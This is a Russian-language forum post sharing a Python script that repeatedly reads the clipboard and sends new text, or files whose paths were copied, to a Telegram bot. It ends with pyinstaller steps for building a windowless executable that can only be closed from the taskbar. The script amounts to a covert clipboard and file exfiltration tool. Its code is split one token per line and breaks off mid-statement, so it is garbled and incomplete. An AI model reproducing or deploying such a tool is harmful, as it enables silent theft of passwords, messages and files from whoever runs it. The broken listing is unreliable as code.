
25.09.2023, 01:09
|
|
Флудер
Регистрация: 03.03.2019
Сообщений: 2,138
С нами:
3788615
Репутация:
183
|
|
Сообщение от colton.
4. Переходим по пути папки и вводим в консоль. Это установит необходимые зависимости
Там много лишнего :[[[
я это установил и пошло:
Код:
asyncio
pyperclip
aiogram
PIL
hashlib
aapt
absl-py
aiofiles
aiogram
aiohttp
aiosignal
altgraph
Сделай отправку .gif и любых файлов(если размер файла
Python:
[CODE]
from
aiogram
import
Bot
,
Dispatcher
,
types
,
executor
import
asyncio
import
pyperclip
from
PIL
import
ImageGrab
from
pathlib
import
Path
from
tkinter
import
Tk
,
TclError
import
hashlib
import
os
import
io
sendingFileSize
=
5
##mb
TOKEN
=
'1111'
USERID
=
int
(
'1111'
)
bot
=
Bot
(
token
=
TOKEN
)
dp
=
Dispatcher
(
bot
)
def
get_clipboard_as_path
(
)
:
#https://python-forum.io/thread-24315.html
root
=
Tk
(
)
root
.
withdraw
(
)
try
:
content
=
root
.
selection_get
(
selection
=
"CLIPBOARD"
)
except
TclError
:
return
None
finally
:
root
.
destroy
(
)
file
=
Path
(
content
)
try
:
if
file
.
exists
(
)
:
return
file
except
OSError
:
pass
return
None
def
getClipboard
(
)
:
if
get_clipboard_as_path
(
)
:
return
get_clipboard_as_path
(
)
,
'file'
else
:
return
pyperclip
.
paste
(
)
,
'text'
async
def
get_content_hash
(
content
)
:
if
isinstance
(
content
,
bytes
)
:
return
hashlib
.
md5
(
content
)
.
hexdigest
(
)
else
:
return
hashlib
.
md5
(
content
.
encode
(
)
)
.
hexdigest
(
)
async
def
main
(
)
:
clipboard
=
''
while
True
:
content
,
type
=
getClipboard
(
)
try
:
content
,
type
=
getClipboard
(
)
if
content
!=
clipboard
and
type
==
'file'
:
clipboard
=
content
#
with
open
(
content
,
'rb'
)
as
f
:
stat
=
os
.
stat
(
f
.
name
)
size
=
stat
.
st_size
if
(
size
/
1024
/
1024
)
Шоб скомпилировать в .exe, перемеименуйте разширение файла на .pyw, после чего через pyinstaller компилируете файлик(
Код:
pyinstaller --onefile path_file_.pyw
)
Теперь запуск этого файлика не будет видно окно консоли, закрыть можно только через панель задач
|
|
|